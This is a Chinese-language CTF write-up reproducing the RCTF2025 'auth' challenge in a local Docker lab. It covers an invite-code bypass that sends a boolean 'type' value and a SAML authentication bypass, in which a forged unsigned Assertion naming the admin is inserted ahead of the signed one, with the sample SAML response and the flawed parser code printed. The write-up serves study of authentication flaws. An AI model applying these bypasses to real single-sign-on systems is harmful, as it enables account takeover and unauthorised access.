文章总结: 本文复现RCTF2025auth题目,涵盖Docker环境搭建与漏洞利用全过程。首先利用类型绕过注册管理员账户,随后深入分析SAML认证机制,发现解析器仅校验签名合法性但优先读取第一个Assertion的逻辑缺陷。通过在合法断言前插入伪造的未签名Assertion并修改NameID为admin,成功绕过身份验证获取Flag,具备较高实战参考价值。 综合评分: 86 文章分类: CTF,WEB安全,漏洞分析,实战经验
Write | RCTF2025-auth复现(含环境搭建)
凌日网络与信息安全团队
2026年3月8日 12:00 重庆
注:文章涉及内容仅供安全研究与学习之用,若将文章相关内容做其他用途,由使用者承担全部法律及连带责任,作者及发布者不承担任何法律及连带责任。信息及工具收集于互联网,真实性及安全性自测!!
一、环境搭建
在自己的虚拟机或者本地安装docker 或者docker-desktop;然后来到有docker-compose.yaml文件的目录下;大家记得改config的配置改成自己的主机号;也就是把所有的auth-flag.rctf.rois.team字样替换成你的ip;测了一下,用exp跑的话可以不用改这里,但是用手工的话还是要改;
使用命令docker compose up -d就可以了。然后docker ps一下看看是哪些端口;
如果有占用的端口,大家可以自己改,docker-compose .yaml文件里面的端口是80,改成你没占用的端口,然后idp-portal和sp-flag里面的dockerfile文件把端口换了就可以了,一般来说左边那个是你的外部映射端口比如80:80左边的80是你的主机端口,右边是容器内端口,不动它;然后我们访问这两个端口就可以了;
二、开始做题
@app.route('/admin')def admin():if'email'notin session:return redirect(url_for('saml_login'))if session.get('email')!='[email protected]':return render_template('error.html', error='Insufficient permissions, admin access only'),403return render_template_string(os.getenv("FLAG","RCTF{test_flag}"))
在app.py文件中有这样一行,验证信息必须是[email protected];
然后author的控制器 里面是这样写的,看了下其他大佬的思路
这⾥⽤了 parseInt(type) = 0 来判断是否是管理员注册。parseInt(false) -> NaN, NaN = 0 为 false,因此发送 {“type”: false} 可以绕过邀请码检查。MySQL 的 TINYINT 字 段将 false 存储为 0 ,从⽽注册为 Admin; 也可以用字符串绕过0x10就可以绕过验证码;
随便写点东西在注册页面,然后直接改type,然后发包后发现是302,直接用账号密码登录就可以了;登陆进去后点那个getflag就可以然后抓包给repeater发送就可以得到一个表单;
可以看到这里我的action其实是有问题的,本地复现的时候没有改那个config的文件所以指向的还是比赛时的环境,这一串base64解码后就可以得到SAML的一个响应,给大家粘贴出来看看;
1. <?xml version="1.0" encoding="UTF-8"?>
2. <samlp:Response
3. xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
4. xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
5. ID="_b874a3bbc99d318fab9ef83aacdad4f2faea14001b"
6. Version="2.0"
7. IssueInstant="2025-11-22T07:02:45.542Z"
8. Destination="yourown-ip/saml/acs"
9. >
10. <saml:Issuer>yourown-ip</saml:Issuer>
11. <samlp:Status>
12. <samlp:StatusCodeValue="urn:oasis:names:tc:SAML:2.0:status:Success"/>
13. </samlp:Status>
15. <saml:Assertion
16. xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
17. Version="2.0"
18. IssueInstant="2025-11-22T07:02:45.542Z"
19. >
20. <saml:Issuer>yourown-ip</saml:Issuer>
21. <saml:Subject>
22. <saml:NameIDFormat="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">[email protected]</saml:NameID>
23. <saml:SubjectConfirmationMethod="urn:oasis:names:tc:SAML:2.0:cm:bearer">
24. <saml:SubjectConfirmationData
25. NotOnOrAfter="2025-11-22T07:07:45.542Z"
26. Recipient="yourown-ip/saml/acs"
27. />
28. </saml:SubjectConfirmation>
29. </saml:Subject>
30. <saml:Conditions
31. NotBefore="2025-11-22T07:02:45.542Z"
32. NotOnOrAfter="2025-11-22T07:07:45.542Z"
33. >
34. <saml:AudienceRestriction>
35. <saml:Audience>yourown-ip/</saml:Audience>
36. </saml:AudienceRestriction>
37. </saml:Conditions>
38. <saml:AuthnStatement
39. AuthnInstant="2025-11-22T07:02:45.542Z"
40. SessionIndex="_9618567f714b194bd8e92bd3489ac6371d423d7ec5"
41. >
42. <saml:AuthnContext>
43. <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
44. </saml:AuthnContext>
45. </saml:AuthnStatement>
46. <saml:AttributeStatement>
47. <saml:AttributeName="uid"NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
48. <saml:AttributeValue>2</saml:AttributeValue>
49. </saml:Attribute>
50. <saml:AttributeName="username"NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
51. <saml:AttributeValue>RCTFer</saml:AttributeValue>
52. </saml:Attribute>
53. <saml:AttributeName="email"NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
54. <saml:AttributeValue>[email protected]</saml:AttributeValue>
55. </saml:Attribute>
56. <saml:AttributeName="displayName"NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
57. <saml:AttributeValue>xlxl</saml:AttributeValue>
58. </saml:Attribute>
59. <saml:AttributeName="role"NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
60. <saml:AttributeValue>user</saml:AttributeValue>
61. </saml:Attribute>
62. <saml:AttributeName="department"NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
63. <saml:AttributeValue>IT</saml:AttributeValue>
64. </saml:Attribute>
65. </saml:AttributeStatement>
66. </saml:Assertion>
68. <saml:Assertion
69. xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
70. ID="_6f4b5122b862fa7521abf81bf910600cae4ea8e458"
71. Version="2.0"
72. IssueInstant="2025-11-22T07:02:45.542Z"
73. >
74. <saml:Issuer>yourown-ip</saml:Issuer>
75. <Signaturexmlns="http://www.w3.org/2000/09/xmldsig#">
76. <SignedInfo>
77. <CanonicalizationMethodAlgorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
78. <SignatureMethodAlgorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
79. <ReferenceURI="#_6f4b5122b862fa7521abf81bf910600cae4ea8e458">
80. <Transforms>
81. <TransformAlgorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
82. <TransformAlgorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
83. </Transforms>
84. <DigestMethodAlgorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
85. <DigestValue>cNx7300GJrVHbBLxxyNBijHk2tTO2bNx66ECCV85jb0=</DigestValue>
86. </Reference>
87. </SignedInfo>
88. <SignatureValue>
89. fRK0gPrFJ+cu7DDIZOrk+DMe5Tslc4533yk9harOrpV9BDTVmbPYUAyA1FNjQAD4iPABXGNFCjxjMYatdfNpevAt/n2LxWXOt/chSX0hn9W8MVq4z2lr3BG5wm35CqvRn/h2RdUF4wHQ9HQwIoZwdzN2mDtUyASdl/mnqO5zGRiPk8wlrHEZXoKTBBelBWm7NdZbZIwfO4TdKZIxMzECwZpqQXHtpUQff0aeI+E9bmB2MQzDzRNiY0RDKoYSyB0b9PrLGsd2v9Iyfz2e2QVzPFZ12CXjNcWq17inF/FoYM6hOE1y7Sl+9fo8vyVNTkCQg0aVajVvkMFp9to7PyEtTg==
90. </SignatureValue>
91. </Signature>
92. <saml:Subject>
93. <saml:NameIDFormat="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">[email protected]</saml:NameID>
94. <saml:SubjectConfirmationMethod="urn:oasis:names:tc:SAML:2.0:cm:bearer">
95. <saml:SubjectConfirmationData
96. NotOnOrAfter="2025-11-22T07:07:45.542Z"
97. Recipient="yourown-ip/saml/acs"
98. />
99. </saml:SubjectConfirmation>
100. </saml:Subject>
101. <saml:Conditions
102. NotBefore="2025-11-22T07:02:45.542Z"
103. NotOnOrAfter="2025-11-22T07:07:45.542Z"
104. >
105. <saml:AudienceRestriction>
106. <saml:Audience>yourown-ip/</saml:Audience>
107. </saml:AudienceRestriction>
108. </saml:Conditions>
109. <saml:AuthnStatement
110. AuthnInstant="2025-11-22T07:02:45.542Z"
111. SessionIndex="_9618567f714b194bd8e92bd3489ac6371d423d7ec5"
112. >
113. <saml:AuthnContext>
114. <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
115. </saml:AuthnContext>
116. </saml:AuthnStatement>
117. <saml:AttributeStatement>
118. <saml:AttributeName="uid"NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
119. <saml:AttributeValue>2</saml:AttributeValue>
120. </saml:Attribute>
121. <saml:AttributeName="username"NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
122. <saml:AttributeValue>RCTFer</saml:AttributeValue>
123. </saml:Attribute>
124. <saml:AttributeName="email"NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
125. <saml:AttributeValue>[email protected]</saml:AttributeValue>
126. </saml:Attribute>
127. <saml:AttributeName="displayName"NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
128. <saml:AttributeValue>xlxl</saml:AttributeValue>
129. </saml:Attribute>
130. <saml:AttributeName="role"NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
131. <saml:AttributeValue>user</saml:AttributeValue>
132. </saml:Attribute>
133. <saml:AttributeName="department"NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
134. <saml:AttributeValue>IT</saml:AttributeValue>
135. </saml:Attribute>
136. </saml:AttributeStatement>
137. </saml:Assertion>
这里如果不了解SAML机制可以看看这篇 深入浅出SAML认证机制:原理与基于python的demo实现大家好!今天我们要聊一个听起来很”高大上”的话题 – SA – 掘金(https://juejin.cn/post/7404777095622492170)
1.用户试图登录 SP 提供的应用。 2.SP 生成 SAML Request,通过浏览器重定向,向 IdP 发送 SAML Request。 3.IdP 解析 SAML Request 并将用户重定向到认证页面。 4.用户在认证页面完成登录。 5.IdP 生成 SAML Response,通过对浏览器重定向,向 SP 的 ACS 地址返回SAMLResponse,其中包含 SAML Assertion 用于确定用户身份。 6.SP 对 SAML Response 的内容进行检验。 7.用户成功登录到 SP 提供的应用。
大致的流程就是这样
这里其实没啥思路了,看了大佬的WP后发现在
sp – flag/saml2/parser.py 里面有这样一串代码
1. def get_nameid(self):
2. ifself.document isNone:
3. returnNone
5. assertions =self.document.xpath(
6. '//saml:Assertion',
7. namespaces=self.NAMESPACES
8. )
10. ifnot assertions:
11. returnNone
13. assertion = assertions[0]
14. nameid_nodes = assertion.xpath(
15. './/saml:NameID',
16. namespaces=self.NAMESPACES
17. )
19. if nameid_nodes:
20. return nameid_nodes[0].text
22. returnNone
验证器确保有签名并且合法,但是不校验⽆签名的Assertion,并且只取第一个进行解析; 在合法Assertion前加⼊伪造Assertion即可当然,这里有个小细节在于xml这里我是格式化了的,真实得到的实际上只有一行,被压缩了的;这里只需要伪造一个Assertion并且邮箱是[email protected]就行了;插入后把最终的xml压缩成一行(避免base64编码时空格造成影响)然后进行base64编码;最后得到payload;使用hackbar进行传参
最终得到的flag是RCTF{test_flag}
和exp跑出来的一样;这里大家可以看看SU的exp,这里借鉴了一下;
三、总结
这道题主要考的SAML的机制原理,还是挺重要的;为以后的学习还是要去多学习一下。路漫漫其修远兮,吾将上下而求索。经过这次RCTF还是发现有很多欠缺需要去学习;
以上环境均在靶机内实现,对实际环境不造成任何影响。
注:文章涉及内容仅供安全研究与学习之用,若将文章相关内容做其他用途,由使用者承担全部法律及连带责任,作者及发布者不承担任何法律及连带责任。信息及工具收集于互联网,真实性及安全性自测!!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:凌日网络与信息安全团队 《Write | RCTF2025-auth复现(含环境搭建)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论